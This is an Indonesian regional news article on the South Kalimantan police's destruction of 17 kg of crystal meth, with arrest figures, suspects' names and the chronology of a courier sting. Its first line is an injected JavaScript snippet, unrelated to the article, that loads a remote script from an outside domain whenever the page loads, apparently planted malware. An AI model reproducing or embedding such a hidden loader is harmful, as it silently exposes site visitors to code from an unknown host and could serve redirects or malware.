(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

17 KG SABU DAN UPAYA MEMUTUS TANGAN-TANGAN “GURITA” NARKOBA KALSEL


BANJARBARU, Polda Kalsel  menggelar pemusnahan 17 Kg sabu (17.210,9 gram) serta puluhan narkotika jenis lain hasil dari pengungkapan jaringan tindak pidana Narkoba di Kalsel, dari tanggal 1- 18 September, di Halaman Kantor Gubernur Kalsel, Rabu (19/9) pukul 08.30 Wita.

Dipimpin langsung Kapolda Kalsel Irjen Yazid Fanani, kegiatan ini juga dihadiri Gubernur Kalsel Sahbirin Noor, Bupati Banjar KH Khalilurrahman, serta pejabat instansi lainnya. Dalam pengungkapan kasus ini, Polda Kalsel berhasil menggulung tindak pidana Narkoba sebanyak 85 kasus dengan mengamankan sedikitnya 113 pelaku. Sedangkan barang bukti yang disita di antaranya berupa sabu seberat 417,72 Gram, Karisprodol 6.004 Butir, ekstasi 13 Butir, dan obat daftar G sebanyak 8.890 butir.

Kapolda Irjen Yazid Fanani menjelaskan, pada kegiatan kali ini barang bukti yang dimusnakan yaitu sabu seberat 17 kg lebih dari hasil pengungkapan jaringan terhadap tersangka Ardiansyah alias Dian, warga Jalan A Yani Km 7, Komplek Palapan Indah, Kelurahan Kertak Hanyar, Kecamatan Kertak Hanyar, Kabupaten Banjar. Juga atas tersangka Muhammad Hasan alias Hasan, warga Jalan Manarap Tengah Handil Dua, Kelurahan Manarap Tengah Kertak Hanyar, Kabupaten Banjar, dengan barang bukti 17.000 gram, pada Jumat (10/8) silam.

“Kedua pelaku diamankan di Bandara Syamsudin Noor dan saat itu didapati 37 bungkus sabu dengan berat 17 kg,” kata Kapolda.

Selain itu, barang bukti sabu yang dimusnakan juga ditambah dengan hasil pengungkapan kasus Ditresnarkoba sebanyak 210,9 gram sabu beserta barang bukti lainnya. Juga ada barang bukti berupa Tembakau Gorila seberat 22,25 gram, Biji Ganja 12,83 gram, ekkstasi 10 butir, dari jumlah kasus sebanyak 25 laporan polisi dan jumlah tersangka 34 orang. Semua barang bukti tersebut dimusnahakan dengan cara dilarutkan dan diblender.

Irjen Yazid Fanani menambahkan, dari hasil pengungkapan jaringan Pekanbaru – Banjarmasin, Polda Kalsel telah menyelamatkan sebanyak 344.218 orang terhindar dari narkoba. “Artinya dari 17.210 gram sabu dalam setiap 1 gram sabu dapat digunakan 20 orang,” ungkapnya.

Asal Mula Sabu 17 Kg

Seperti yang dijelaskan Kapolda, hampir 17 kg lebih sabu yang dimusnahkan merupakan hasil penangkapan terhadap pelaku Dian dan Hasan. Tertangkapnya Dian dan Hasan merupakan hasil informasi dari para pelaku yang sebelumnya diamankan beberapa waktu lalu.

Kronologi penangkapan saat itu,  Minggu (5/8), tim dari Polda Kalsel berangkat dari Banjarmasin  sekitar pukul 02.00 Wita menuju Palangkaraya menggunakan jalur darat. Lalu dari Palangkaraya  menuju Jakarta, dan dari Jakarta menuju Pekanbaru membawa tersangka Muhammad Ramadhana alias Madan dan  Ahmad Anshari alias Aan yang ditangkap pada akhir Juli.

Dari ke 2 tersangka tersebut, dapat diperoleh informasi tentang pergerakan dan rencana kegiatan kurir yang akan berangkat dari Banjarmasin menuju Pekanbaru untuk mengambil Sabu dan mengantarnya ke Banjarmasin.

Saat di Pekanbaru,  anggota melakukan penyelidikan dengan melakukan cross check informasi dari tersangka Madan dan Aan. Maka diperoleh informasi,  bahwa akan datang 2 orang kurir  yang akan mengambil Sabu dalam jumlah besar. Dengan ciri-ciri, ke 2 orang tersebut umur masih relatif muda atau remaja.

Nah, 4 hari setelah Kamis (9/8) sekitar pukul 17.00 Wita, anggota melakukan pengecekan di Grand Centra Hotel  di Jalan Jenderal Sudirman No 1 Tengkareng  Utara , Bukit Raya, Kota Pekanbaru,  Riau  tidak jauh dari hotel tempat  ke dua tim menginap. Dari hasil pengecekan didapat imformasi benar bawha di kamar 514 ada 2 warga Banjarmasin yang menginap.

Maka seluruh anggota tim dibagi tugas. Memperketat pengawasan terhadap ke 2 orang tersebut dan sekitar  pukul 19.00 Wita, kedua target keluar  dari hotel menuju Hotel Akasia yang tidak jauh dari hotel Grand Centra.

Tidak lama di hotel tersebut, kedua target keluar dengan membawa masing-masing 1 buah kardus. Pada saat keduanya hendak berangkat menggunakan mobil, anggota mendekati dan menggiring agar tidak lari maupun menghilangkan barang yang dibawanya. Selanjutnya dilakukan kontrol delevery sampai masuk Wilayah Hukum Polda Kalsel.

Keesokan harinya, Jum’at (10/8) sekitar pukul 19.00 Wita, dilakukan penangkapan ke 2 tersangka yaitu Dian dan Hasan di halaman The Herlina Hotel yang beralamat di Jl. Angkasa No 07, RT 14/ RW 04, Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, Kota Banjarbaru. Selanjutnya tersangka dan barang bukti dibawa ke kantor Dit Res Narkoba Polda Kalsel untuk proses penyidikan lebih lanjut.


Page: 1 2

Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.